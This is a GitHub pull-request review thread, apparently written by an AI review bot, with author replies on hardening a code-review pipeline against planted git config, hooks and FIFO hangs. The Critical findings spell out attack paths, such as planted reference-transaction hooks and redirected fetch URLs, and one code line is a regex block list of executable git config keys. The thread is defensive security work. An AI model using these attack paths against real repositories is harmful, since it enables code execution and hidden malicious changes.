Deferred to the next round (budget-warning round). Fix stands: bound existsAtRev’s cat-file -e spawnSync with timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'; the existing r.error throw already converts the kill into a named inconclusive through the revert phase’s catch. Batched with the other unbounded-spawn items.
中文说明
顺延到下一轮（预算警告轮）。修复不变：给 existsAtRev 的 cat-file -e spawnSync 加 timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'；既有 r.error 抛错已经由 revert 阶段 catch 转为具名 inconclusive。与其他无界 spawn 项合并一批。
|
🤖 AutoFix updated a stale base — the fix did not pass verification, but this PR was behind What I found before stopping: See the Qwen Autofix agent step logs for model/tool output. 中文说明🤖 AutoFix 更新了一个过期的 base —— 修复未通过验证，但本 PR 落后于 Run log: https://github.com/QwenLM/qwen-code/actions/runs/33022755705 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — Test (macos-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not explored to full depth (tool budget reached): chunk 11: executing the PR's own test files in the worktree (node_modules not installed here; a monorepo npm ci exceeded the remaining budget) — verified by source trac….
Not reviewed: reverse audit — stopped before round 5 by the review time budget.
Test Plan (not a blocker): 504 passed — this review observed 25086 passed.
Deferred under the convergence posture (round 15, not a blocker) — recorded, not requested in this round:
packages/cli/src/commands/review/scratch-tree.ts:373 — [review] '; '-split remediation router spoofable via subsection names (probe-verified)(PR body) — [review] PR body contradicts shipped code (include posture) and diff size/test countspackages/cli/src/commands/review/lib/worktree.ts:733 — [review] Dead @ admit branch; remote.origin.fetch = @ permanently refused (probe-verified)packages/cli/src/commands/review/test-efficacy.ts:1323 — [review] git() helper's timeout bound has no witness (mutant measured green)packages/cli/src/commands/review/fetch-pr.test.ts:677 — [review] Creation-checkout INERT pin asserts 2 of 3 overridespackages/cli/src/commands/review/test-efficacy.integration.test.ts:596 — [review] Submodule plant wrapped in bare catch {} — vacuous passpackages/cli/src/commands/review/test-efficacy.ts:1988 — [review] Boxed-branch comment says SIGTERM; spawn sets SIGKILLpackages/cli/src/commands/review/base-tree.test.ts:193 — [review] base-tree creation overrides unwitnessed (0 of 3 argv-asserted)packages/cli/src/commands/review/scratch-tree.ts:144 — [review] Docstring contradicts the fsmonitor refusal regexpackages/cli/src/commands/review/scratch-tree.test.ts:465 — [review] Two remedy variants (layout, rev-parse) have no positive witnesspackages/cli/src/commands/review/scratch-tree.ts:493 — [review] Filter-plant rationale clause welded onto all eight refusal variantspackages/cli/src/commands/review/test-efficacy.ts:1328 — [review] 5s screen bound reused for tree-scale checkouts (measured SIGKILL at 125k-200k files)packages/cli/src/commands/review/fetch-pr.test.ts:745 — [review] Base-fetch screen's late position unwitnessed (invocationCallOrder never taken)packages/cli/src/commands/review/lib/worktree.test.ts:171 — [review] fsmonitor witness passes on an early fail-closed return (add unmeasured assertion)packages/cli/src/commands/review/fetch-pr.test.ts:1270 — [review] INERT rollback pin accepts any env; sanitizedGitEnv unpinnedpackages/cli/src/commands/review/lib/worktree.ts:1156 — [review] Transport bucket mislabels flags/URLs/paths as command-execution keyspackages/cli/src/commands/review/test-efficacy.integration.test.ts:700 — [review] In-group kill test lacks a positive control that the suite ranpackages/cli/src/commands/review/test-efficacy.test.ts:2596 — [review] Post-spawn setRunnerTeardownGroup(undefined) clear unwitnessed (mutant ships green)packages/cli/src/commands/review/fetch-pr.test.ts:3036 — [review] Aone head-fetch argv order unpinned after relaxationpackages/cli/src/commands/review/lib/worktree.test.ts:2456 — [review] Screen's two --file spawn bounds unwitnessed (mutant measured: wedged 56.8s)- …and 2 more (see the run report)
Convergence: round 15 posted 23 inline comment(s), 4 of them reported for the first time; the previous round posted 20 (4 new). Findings keep coming back to the same files: packages/cli/src/commands/review/lib/worktree.ts (findings in rounds 8, 13, 14; 2 more now); packages/cli/src/commands/review/scratch-tree.ts (findings in round 11; 1 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push keeps the loop from re-deriving the same set; this PR's reviews already resolve to a critical posting floor. (Observation only — nothing was withheld from this review because of this observation.)
Residual risk: this loop is persistently critical — Criticals stood in the previous round's work-list and stand again this round (26 Critical(s)), the rate of first-time findings is not falling (this round 4, previous 4), and the standing Critical backlog is not shrinking. The severity floor will not converge it. Recommendation: land-with-residual-risk — the exit is a maintainer risk-acceptance decision (merge, carrying the residual risk), not another review round. Residual-risk inventory for that decision (maintainer to complete):
| standing Critical | attack surface | attacker-dependency | blast radius |
|---|---|---|---|
| (each standing Critical) | … | … | … |
Advisory only — it does not block this review.
[Critical] R12-5: Still stands from round 12 — CLASS FINDING for the fetch-refspec value judgment (fetchRefspecDstRefuses + fetchRefspecRefuses + refspecPartValid, lib/worktree.ts:684-735). The surface keeps producing new corners each round because it hand-judges an unbounded input space. This round's independent audit added two more, one probe-verified: (1) the HEAD source exception is case-folded (worktree.ts:733), so planted remote..fetch = head/HeAd certifies while git resolves only exact-case HEAD — every later bare fetch-by-remote-name dies 'fatal: couldn't find remote ref' — a permanent wedge planted by one config write (probe: spelling=head refusal=null; git exit 128; the src !== 'HEAD' fix flip refuses both variants and keeps HEAD certifying); (2) the literal-non-HEAD source rule permanently refuses every single-branch clone's stock refspec +refs/heads/:refs/remotes/origin/ (oracle: git clone --single-branch writes exactly that value; localFilterRefusal refuses it) — mainstream legitimate config refused fail-closed, with no ls-remote discriminator (low confidence — cost-vs-posture judgment for the author). The class cannot be closed entrance by entrance: judge configured refspecs with git's own parser (bounded ls-remote/dry-run probes with INERT args, fail-closed on probe failure) instead of hand-enumerating shapes.
[Critical] R12-10: Still stands from round 12. The creation screen and the new identity pin both bootstrap from the review worktree's own git discovery, so a planted/redirected .git gitfile on the review worktree certifies a rogue repository end-to-end — localFilterRefusal resolves its candidates from the same discovery the creationCommonDir pin then trusts as the campaign's ground truth (traced at this commit: one bootstrap chain via rev-parse of the passed tree, no independent anchor). An escaped process — the class R11-8's probe pinned as live this round — re-points the review worktree's .git gitfile and every later screen read and identity comparison resolves through the rogue discovery and agrees with itself. Anchor the chain to the fetched commit's object identity or to the pipeline's own clone admin dir recorded at fetch time, outside the worktree's discovery.
[Critical] R14-4: Still stands from round 14. The revert-phase screens this diff adds (identity gate + filter re-screen at test-efficacy.ts:3347) certify discovery and config, but the phase's very next step — existsAtBase -> existsAtRev's git cat-file -e spawnSync (test-efficacy.ts:1421-1427) — carries no timeout/killSignal (spot-checked at this commit: only cwd + env): an unbounded spawn on the attacker-writable object store, one call below the gate this diff inserts; a FIFO'd probed object hangs the whole synchronous campaign after both screens certified. Fix: bound the spawn (timeout + SIGKILL); r.error already throws and the phase catch converts it. (Inline re-post dropped as a positional duplicate of the existing round-14 comment at test-efficacy.ts:3347 — that comment posted under the body id 'R14-5' while the machine ledger records this entry as R14-4; the defect and its thread are unchanged.)
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未审查：build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未审查：build-and-test — Test (macos-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未探索到全部深度（达到工具调用预算）：chunk 11：executing the PR's own test files in the worktree (node_modules not installed here; a monorepo npm ci exceeded the remaining budget) — verified by source trac…。
未审查：反向审计——评审时间预算不足，未能开始第 5 轮。
Test Plan（非阻断）：504 passed — this review observed 25086 passed。
收敛姿态下延后（第 15 轮，非阻断）——已记录，本轮不要求修改：共 22 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 15 轮发布了 23 条行内评论，其中 4 条是首次提出；上一轮发布了 20 条（其中 4 条首次提出）。发现反复回到同一批文件：packages/cli/src/commands/review/lib/worktree.ts（第 8、13、14 轮已出过发现，本轮又有 2 条）；packages/cli/src/commands/review/scratch-tree.ts（第 11 轮已出过发现，本轮又有 1 条）。新发现的产出速度没有下降。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送，可以避免循环反复推导同一组发现；本 PR 的评审已解析为 critical 发布下限。（仅为观察——本轮评审未因此扣留任何内容。）
残余风险：本循环处于 persistently-critical 形态——上一轮工作清单中的 Critical 本轮依然存在（本轮 26 条 Critical），首次发现的速率没有下降（本轮 4，上一轮 4），且未决 Critical 积压没有减少。severity floor 无法使其收敛。建议：land-with-residual-risk——出口是 maintainer 的风险接受决定（合入并承担残余风险），而非再开一轮评审。供该决定使用的残余风险清单（maintainer 填写）：按每条未决 Critical 列出「攻击面 · 攻击者依赖性 · 影响范围」三栏。仅为建议——不阻断本次评审。
[Critical] R12-5: Still stands from round 12 — CLASS FINDING for the fetch-refspec value judgment (fetchRefspecDstRefuses + fetchRefspecRefuses + refspecPartValid, lib/worktree.ts:684-735). The surface keeps producing new corners each round because it hand-judges an unbounded input space. This round's independent audit added two more, one probe-verified: (1) the HEAD source exception is case-folded (worktree.ts:733), so planted remote..fetch = head/HeAd certifies while git resolves only exact-case HEAD — every later bare fetch-by-remote-name dies 'fatal: couldn't find remote ref' — a permanent wedge planted by one config write (probe: spelling=head refusal=null; git exit 128; the src !== 'HEAD' fix flip refuses both variants and keeps HEAD certifying); (2) the literal-non-HEAD source rule permanently refuses every single-branch clone's stock refspec +refs/heads/:refs/remotes/origin/ (oracle: git clone --single-branch writes exactly that value; localFilterRefusal refuses it) — mainstream legitimate config refused fail-closed, with no ls-remote discriminator (low confidence — cost-vs-posture judgment for the author). The class cannot be closed entrance by entrance: judge configured refspecs with git's own parser (bounded ls-remote/dry-run probes with INERT args, fail-closed on probe failure) instead of hand-enumerating shapes.
[Critical] R12-10: Still stands from round 12. The creation screen and the new identity pin both bootstrap from the review worktree's own git discovery, so a planted/redirected .git gitfile on the review worktree certifies a rogue repository end-to-end — localFilterRefusal resolves its candidates from the same discovery the creationCommonDir pin then trusts as the campaign's ground truth (traced at this commit: one bootstrap chain via rev-parse of the passed tree, no independent anchor). An escaped process — the class R11-8's probe pinned as live this round — re-points the review worktree's .git gitfile and every later screen read and identity comparison resolves through the rogue discovery and agrees with itself. Anchor the chain to the fetched commit's object identity or to the pipeline's own clone admin dir recorded at fetch time, outside the worktree's discovery.
[Critical] R14-4: Still stands from round 14. The revert-phase screens this diff adds (identity gate + filter re-screen at test-efficacy.ts:3347) certify discovery and config, but the phase's very next step — existsAtBase -> existsAtRev's git cat-file -e spawnSync (test-efficacy.ts:1421-1427) — carries no timeout/killSignal (spot-checked at this commit: only cwd + env): an unbounded spawn on the attacker-writable object store, one call below the gate this diff inserts; a FIFO'd probed object hangs the whole synchronous campaign after both screens certified. Fix: bound the spawn (timeout + SIGKILL); r.error already throws and the phase catch converts it. (Inline re-post dropped as a positional duplicate of the existing round-14 comment at test-efficacy.ts:3347 — that comment posted under the body id 'R14-5' while the machine ledger records this entry as R14-4; the defect and its thread are unchanged.)
— qwen3.8-max via Qwen Code /review (v0.22.2)
| git(...INERT_GIT_ARGS, 'worktree', 'add', wt, ref); | ||
| } catch (err) { | ||
| tryRemove(() => | ||
| execFileSync('git', ['branch', '-D', ref], { |
There was a problem hiding this comment.
[Critical] R12-1: Still stands at round 15 (from round 12). The three git branch -D spawns this diff edits (cleanStale ~:625, metadata-failure rollback ~:994, worktree-add/screen-refusal rollback at this line) gained timeout/killSignal but NOT INERT_GIT_ARGS, while the fourth sibling — the head-mismatch rollback ~:1031 — is inert with a comment stating "branch -D fires the reference-transaction hook from the never-wiped common hooks dir — the plantable surface every other spawn in this diff neutralizes". A planted executable .git/hooks/reference-transaction therefore fires on all three: cleanStale runs before any screen, and the rollback at this line is the very path taken when the filter screen REFUSES — so a correctly-refused run executes attacker code on its way out, contradicting the contract the SHA-mismatch test pins. Witness (probe, git 2.43.0, this round): bare git branch -D → marker EXISTS, hook FIRED; with INERT_GIT_ARGS → marker ABSENT. Fix: prepend ...INERT_GIT_ARGS to the three spawns and flip the three bare argv expectations in fetch-pr.test.ts (~1156/~1220/~1319). The updated expectations must go red when the inert prefix is removed from the production spawns — please remove the prefix and confirm.
中文说明
R12-1：第 15 轮仍然存在（第 12 轮提出）。本 diff 编辑的三处 git branch -D spawn（cleanStale ~:625、元数据失败回滚 ~:994、此行的 worktree-add/屏蔽拒绝回滚）加了 timeout/killSignal，但没有 INERT_GIT_ARGS；而第四个兄弟——head 不匹配回滚 ~:1031——带了 INERT 且注释写明 "branch -D 会触发永不清除的公共钩子目录里的 reference-transaction 钩子——本 diff 其余所有 spawn 都已中和该面"。植入的可执行 .git/hooks/reference-transaction 因此会在三处全部触发：cleanStale 先于一切屏蔽运行，而此行回滚正是屏蔽正确拒绝时走的路径——一次正确拒绝的运行在离场时执行了攻击者代码，与 SHA 不匹配测试所钉住的契约相悖。见证（本轮探针，git 2.43.0）：裸 git branch -D → 标记文件存在、钩子触发；带 INERT_GIT_ARGS → 标记不存在。修复：三处 spawn 前置 ...INERT_GIT_ARGS，并翻转 fetch-pr.test.ts 三处裸 argv 期望（~1156/~1220/~1319）。请在移除生产代码的 INERT 前缀后确认这些期望变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| // pipeline spawns that trigger it — the resume’s `git status`, | ||
| // the residue’s `ls-files`/`check-ignore` — run ahead of or | ||
| // beside the screen. | ||
| '^(filter\\..*\\.(smudge|clean|process)|include\\.path|includeif\\..+\\.path|extensions\\.partialclone|remote\\..+\\.promisor|core\\.sshcommand|core\\.gitproxy|core\\.askpass|credential(\\..+)?\\.helper|remote\\..+\\.uploadpack|protocol\\.(ext\\.)?allow|remote\\..+\\.fetch|core\\.alternaterefscommand|url\\..+\\.insteadof|url\\..+\\.pushinsteadof|core\\.sparsecheckout|core\\.attributesfile|core\\.excludesfile|core\\.fsmonitor|http\\.proxy|https\\.proxy|http\\..+\\.proxy|remote\\..+\\.proxy)$', |
There was a problem hiding this comment.
[Critical] R8-3: Still stands at round 15 (from round 8). The insteadOf channel and the head-SHA cross-check landed, but remote.<name>.url is still not screened — no regex alternative here and nothing else judges it — and the base fetch has no platform-OID cross-check (baseRefOid exists nowhere in production code). A planted URL redirects fetches to an attacker mirror while the screen certifies: the head fetch hits the mirror serving the exact advertised SHA (the attacker knows it — their own branch), so the head cross-check passes; the base fetch hits the same mirror serving a base that already contains the PR's malicious hunks; resolveMergeBase succeeds and the captured diff omits them. Witness (probe this round, modeled pipeline sequence): CONTROL diff shows +MALICIOUS HUNK; ATTACK: HEAD CROSS-CHECK: PASS, merge-base == fetched head, captured diff bytes: 0 — the review would post over an empty/sanitized diff. Fix: expose baseRefOid from getFetchMeta and compare after the base fetch like the head comparison (refuse on mismatch, or degrade to a diff-less report when the platform cannot advertise it), and value-judge remote.<name>.url. A fetch-pr.test.ts twin of the head-mismatch test must go red when the comparison is removed.
中文说明
R8-3：第 15 轮仍然存在（第 8 轮提出）。insteadOf 通道与 head SHA 交叉检查已落地，但 remote.<name>.url 仍未被屏蔽——此正则无对应项、也无其他判定——且 base 分支 fetch 没有平台 OID 交叉检查（生产代码中不存在 baseRefOid）。植入的 URL 会把 fetch 重定向到攻击者镜像而屏蔽仍为其背书：head fetch 命中的镜像提供与平台通告完全一致的 SHA（攻击者知道自己的分支头），交叉检查通过；base fetch 命中同一镜像提供的、已包含本 PR 恶意 hunk 的 base；resolveMergeBase 成功，捕获的 diff 把恶意内容整个漏掉。见证（本轮探针，模拟管线序列）：对照 diff 含 +MALICIOUS HUNK；攻击下 HEAD CROSS-CHECK: PASS、merge-base == 抓到的 head、捕获 diff 字节数 0——审查会在一个空/净化的 diff 上发布。修复：getFetchMeta 暴露 baseRefOid，base fetch 后像 head 一样比对（不一致即拒绝，平台无法提供时降级为无 diff 报告），并对 remote.<name>.url 做值判定。移除比对时其孪生测试必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round. This round ran under the workflow budget warning (the previous round exhausted its time before finishing anything) and landed the smallest blocking subset; the base-side platform-OID cross-check (baseRefOid through getFetchMeta/FetchMeta plus the post-base-fetch comparison) and the remote.<name>.url value judgment span every platform reader and were too large to land safely beside this batch. First item for the next round.
中文说明
顺延到下一轮。本轮在工作流预算警告下运行（上一轮在完成任何内容前就耗尽了时间），只落地了最小阻断子集；base 侧的平台 OID 交叉校验（getFetchMeta/FetchMeta 增加 baseRefOid 并在 base fetch 后比对）与 remote.<name>.url 按值判定横跨所有平台读取器，无法与本批安全地一并落地。下一轮第一优先。
| // Node honours `detached` here — it reaches the same `spawn()` the async | ||
| // API uses — but @types/node declares it only on the async `SpawnOptions`, | ||
| // so the option is named in an intersection instead of at the call site. | ||
| const runnerOptions: SpawnSyncOptionsWithStringEncoding & { |
There was a problem hiding this comment.
[Critical] R8-6: Still stands at round 15 (from round 8; deferred with a recorded plan in rounds 8-14). runnerOptions still carries only cwd/encoding/timeout/killSignal/stdio/detached — no env override — so the probe suite runs with the reviewer's real HOME, and sanitizedGitEnv() only strips GIT_CONFIG_GLOBAL from the pipeline's OWN spawns. The premise "a probe's planting surface is the repo-local files" is false: a malicious suite plants an executable key (filter smudge, core.sshCommand, ...) into the reviewer's GLOBAL config, where this screen's candidates never read, and every later certified checkout/fetch in any review of that clone executes it — persistence the repo-local screen is built to close, one level up. Fix: implement the recorded plan — run the suite under an isolated HOME/GIT_CONFIG_GLOBAL (the isolateHostGitConfig helper the tests use is the pattern), with a test asserting the runner spawn's env carries the throwaway values.
中文说明
R8-6：第 15 轮仍然存在（第 8 轮提出；第 8-14 轮均有记录的顺延计划）。runnerOptions 仍然只有 cwd/encoding/timeout/killSignal/stdio/detached——没有 env 覆盖——探针套件因此运行在审查者真实的 HOME 下，而 sanitizedGitEnv() 只清除管线自身 spawn 的 GIT_CONFIG_GLOBAL。"探针的植入面只有仓库本地文件"这一前提是错的：恶意套件把可执行键（filter smudge、core.sshCommand 等）植入审查者的全局配置——本屏蔽的候选集从不读取那里——此后对该克隆的任何审查中，经背书的 checkout/fetch 都会执行它。修复：落实已记录的计划——让套件运行在隔离的 HOME/GIT_CONFIG_GLOBAL 下（测试所用的 isolateHostGitConfig 即该模式），并加测试断言 runner spawn 的 env 带有一次性值。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round; smallest blocking subset only). The recorded plan stands: run the probe runner under an isolated HOME/GIT_CONFIG_GLOBAL the pipeline owns (the isolateHostGitConfig pattern), with a test asserting the runner spawn’s env carries the throwaway values.
中文说明
顺延到下一轮（预算警告轮；仅最小阻断子集）。已记录的方案不变：让探针运行器运行在管线自有的一次性 HOME/GIT_CONFIG_GLOBAL 下（isolateHostGitConfig 模式），并加测试断言运行器 spawn 的 env 携带一次性值。
| // (measured live). Only this pin validates IDENTITY. Recorded BEFORE | ||
| // `created` is set: a throw here must land in the creation-failure | ||
| // catch alone, not double-record beside a phase that then runs. | ||
| creationCommonDir = realpathSync( |
There was a problem hiding this comment.
[Critical] R10-1: Still stands at round 15 (from round 10). The creationCommonDir recording added by this PR goes through gitOut, which carries no timeout/killSignal — a FIFO swapped into <common>/config blocks this spawn in open() with nothing that can end it. The capture runs between the creation screen and the add, so the screen's bounded spawns never get a turn; the event loop is blocked, so no in-process bound can fire. Witness (carried, measured): timeout 3 git rev-parse --git-common-dir on a FIFO'd config → exit 124; re-traced at this commit — the spawn is unchanged. Fix: bound the capture with timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'; the creation-failure catch already converts the throw. A creation-shape test with a FIFO'd common config must assert a bounded inconclusive return — please remove the timeout and confirm the test hangs instead.
中文说明
R10-1：第 15 轮仍然存在（第 10 轮提出）。本 PR 新增的 creationCommonDir 记录经由 gitOut，而它不带 timeout/killSignal——把 <common>/config 换成 FIFO 会让该 spawn 永久阻塞在 open()，没有任何东西能终止它。该捕获运行在创建屏蔽与 add 之间，屏蔽的有界 spawn 根本轮不到执行；事件循环被阻塞，进程内的界也不会触发。见证（既有实测）：FIFO 配置下 timeout 3 git rev-parse --git-common-dir → exit 124；本提交复核——该 spawn 未变。修复：给捕获加 timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'；创建失败 catch 已能把抛错转为报告。请加上 FIFO 配置下的有界返回测试，并在移除 timeout 后确认测试挂起。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix is small and unchanged from the finding: bound the creationCommonDir capture with timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'; it will be batched with the sibling unbounded-spawn items (R11-2, R11-3, residue spawns, cat-file).
中文说明
顺延到下一轮（预算警告轮）。修复小且与发现描述一致：给 creationCommonDir 捕获加 timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'；将与同类的无界 spawn 项（R11-2、R11-3、残留 spawn、cat-file）合并为一批。
| // the outer catch releases the lease. | ||
| if ( | ||
| meta.headRefOid && | ||
| meta.headRefOid.toLowerCase() !== fetchedSha.toLowerCase() |
There was a problem hiding this comment.
[Critical] R10-3: Still stands at round 15 (from round 10). The head cross-check treats meta.headRefOid as a strict object ID, but the Aone provider fills it from sourceBranch — aoneHeadSha is (view.sourceBranch ?? '').trim() with no shape check, and the provider's own comment records that sourceBranch is a branch NAME on non-AGit-Flow MRs. A classic Aone MR (sourceBranch = 'feature/x') fetches fine, then 'feature/x' !== <sha> is true on every run — fetch-pr rolls back and throws "the fetch landed , but the platform's head is feature/x": a permanent hard refusal of the whole MR class, misdiagnosed as a redirected fetch. Fix: gate the comparison on the value being an object ID (e.g. /^[0-9a-f]{40,64}$/i) with a disclosed WARNING when the platform advertised a non-OID head, or fix the Aone reader to never report a branch name as headRefOid. A fetch-pr.test.ts Aone run with headRefOid='feature/x' must proceed (or warn) instead of throwing — it is red today.
中文说明
R10-3：第 15 轮仍然存在（第 10 轮提出）。head 交叉检查把 meta.headRefOid 当严格对象 ID，但 Aone 提供方用 sourceBranch 填充它——aoneHeadSha 是未经形状检查的 (view.sourceBranch ?? '').trim()，提供方自己的注释也记录非 AGit-Flow MR 的 sourceBranch 是分支名。经典 Aone MR（sourceBranch = 'feature/x'）fetch 成功，随后 'feature/x' !== <sha> 每次都成立——fetch-pr 回滚并抛出 "the fetch landed , but the platform's head is feature/x"：整类 MR 被永久硬性拒绝，且被误诊为 fetch 被重定向。修复：仅当值为对象 ID 时才比较（如 /^[0-9a-f]{40,64}$/i），平台通告非 OID head 时输出公开的 WARNING；或修正 Aone 读取方，绝不把分支名作为 headRefOid。请补一个 headRefOid='feature/x' 的 Aone 测试——当前为红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| '-c', | ||
| 'core.fsmonitor=', | ||
| 'check-ignore', |
There was a problem hiding this comment.
[Critical] R14-3: Still stands at round 15 (from round 14; witness upgraded this round). The residue-probe spawns this diff pins with -c core.fsmonitor= (check-ignore here, ls-files in trackedIgnoreSources) and their worktreeResidue siblings (rev-parse discovery, rev-parse HEAD, status, ls-files --others) carry no timeout/killSignal, while the diff applies SCREEN_SPAWN_TIMEOUT_MS + SIGKILL to every screen spawn for exactly this FIFO hazard. Failure: a probe mkfifo+renames over $(git rev-parse --git-path info/exclude); agent-prompt calls worktreeResidueOf on EVERY wave launch and contains no localFilterRefusal — the first status spawn blocks in open() with no bound, hanging the whole review process until externally killed, on every subsequent round against that repo. Witness (probe this round, exact residue argv, FIFO at info/exclude, 3s external bound): status exit=124, check-ignore exit=124; controls 0/1. Fix: give every worktreeResidue spawn a bounded timeout + killSignal: 'SIGKILL' (a residue-sized constant, not the 5s screen bound — status scales with repo size); r.error flows into the unmeasured channel. A FIFO-at-info/exclude test asserting unmeasured within the bound hangs when the timeout is removed.
中文说明
R14-3：第 15 轮仍然存在（第 14 轮提出；本轮见证升级）。本 diff 以 -c core.fsmonitor= 钉住的残留探针 spawn（此处 check-ignore、trackedIgnoreSources 里的 ls-files）及其 worktreeResidue 兄弟（rev-parse 发现、rev-parse HEAD、status、ls-files --others）都不带 timeout/killSignal，而同一 diff 却为完全相同的 FIFO 危害给每个屏蔽 spawn 应用了 SCREEN_SPAWN_TIMEOUT_MS + SIGKILL。失败：探针把 $(git rev-parse --git-path info/exclude) mkfifo+rename；agent-prompt 在每次波次构建时调用 worktreeResidueOf 且不含 localFilterRefusal——第一个 status spawn 无界地阻塞在 open()，把整个审查进程挂到外部杀死为止，且对该仓库此后每一轮都如此。见证（本轮探针，残留 spawn 原样 argv、info/exclude 为 FIFO、3s 外部界）：status exit=124, check-ignore exit=124；对照 0/1。修复：给每个 worktreeResidue spawn 有界 timeout + killSignal: 'SIGKILL'（残留量级常量，而非 5s 屏蔽界——status 随仓库规模增长）；r.error 流入 unmeasured 通道。请补 FIFO 测试；移除 timeout 时该测试挂起。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix stands: give every residue-probe/worktreeResidue spawn a residue-sized timeout + killSignal: 'SIGKILL' (their r.error paths already degrade to unmeasured/null), with a FIFO-at-info/exclude bounded-unmeasured witness. Batched with the other unbounded-spawn items.
中文说明
顺延到下一轮（预算警告轮）。修复不变：给每个残留探针/worktreeResidue spawn 加残留量级的 timeout + killSignal: 'SIGKILL'（其 r.error 路径已能降级为 unmeasured/null），附 info/exclude FIFO 的有界 unmeasured 见证。与其他无界 spawn 项合并一批。
| // `--no-recurse-submodules` for the absorbed-submodule plant the | ||
| // screen's candidate set cannot read — the same shape fetch-pr's | ||
| // fetches close. | ||
| const fetchRefusal = localFilterRefusal( |
There was a problem hiding this comment.
[Critical] R15-1 (new this round). fetchDiff's finally cleanup git('branch', '-D', ref) (aone.ts:674) is bare — no INERT_GIT_ARGS — while this diff screens fetchDiff's fetches, gives them INERT_GIT_ARGS, and neutralizes fetch-pr's NEW branch -D rollback for exactly this hazard ('branch -D fires the reference-transaction hook from the never-wiped common hooks dir'); the finally delete runs on EVERY Aone diff fetch, success path included. Failure: a planted reference-transaction hook passes the screen (hooks are outside its candidate set by design — spawns carry INERT_GIT_ARGS instead); on any later Aone fetchDiff the screen certifies, both inert fetches run, and the finally delete executes the planted hook on a fully-certified run's way out. Witness (probe this round, git 2.43.0): bare git branch -D → marker EXISTS, hook FIRED; with INERT_GIT_ARGS → marker ABSENT. aone.test.ts:1084-1089 currently pins the bare argv. Fix: git(...INERT_GIT_ARGS, 'branch', '-D', ref) in the finally block and flip that pin; removing the spread must turn it red.
中文说明
R15-1（本轮新发现）。fetchDiff 的 finally 清理 git('branch', '-D', ref)（aone.ts:674）是裸的——没有 INERT_GIT_ARGS——而本 diff 给 fetchDiff 的 fetch 加了屏蔽、加了 INERT_GIT_ARGS、并为完全相同的危害中和了 fetch-pr 新增的 branch -D 回滚（"branch -D 会触发永不清除的公共钩子目录里的 reference-transaction 钩子"）；该 finally 删除在每次 Aone diff fetch 都运行，包括成功路径。失败：植入的 reference-transaction 钩子能通过屏蔽（钩子按设计不在候选集内——靠 spawn 携带 INERT_GIT_ARGS 中和）；之后任何 Aone fetchDiff 中，屏蔽背书、两个惰性 fetch 运行，finally 删除在完全背书的运行离场时执行植入钩子。见证（本轮探针，git 2.43.0）：裸 git branch -D → 标记存在、钩子触发；带 INERT_GIT_ARGS → 标记不存在。aone.test.ts:1084-1089 目前钉的是裸 argv。修复：finally 块改为 git(...INERT_GIT_ARGS, 'branch', '-D', ref) 并翻转该期望；移除展开应变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if (v.status === 1) { | ||
| unreadable.push({ file, detail: 'changed between the screen reads' }); |
There was a problem hiding this comment.
[Critical] R15-2 (new this round). The two-read swap detector this PR added is asymmetric: it refuses only when the value read exits 1 (the enumerated remote.<name>.fetch key vanished). A config swapped in between the two reads that still carries that key — any valid value, e.g. the clone-default refspec — is judged exit 0 on the swapped-in bytes while the filter/transport/include lists still reflect the stale pre-swap content, so the screen certifies the plant; the comment above this branch claims 'the swapped-in bytes are unjudged: fail CLOSED like every other ambiguous state' — only the key-vanishing swap is actually refused. Failure: a concurrent writer holds config A = clone-default fetch; after the enumeration spawn reads A but before the --null value read opens the file, it renames in config B = A + [filter "evil"] smudge + attributes. Value read exits 0, B's filter key was never enumerated, every list is empty → null → the certified checkout executes the planted smudge. Witness (probe this round, deterministic PATH shim through real localFilterRefusal + certified checkout): PR code — refusal=null, plant armed on disk=true, checkout exit=0, marker EXISTS; fingerprint-fix flip — refusal='changed between the screen reads'. The existing race test cannot see this shape (its plantSrc carries no remote.origin.fetch). Fix: fingerprint each candidate file (mtimeMs+size or content hash) at the lstat gate and re-verify around the value read, refusing on mismatch; or snapshot the gated file once and judge both passes against it. Strengthen the swapper test by keeping the fetch key in plantSrc — expect(sawSwapRefusal).toBe(true) is red today.
中文说明
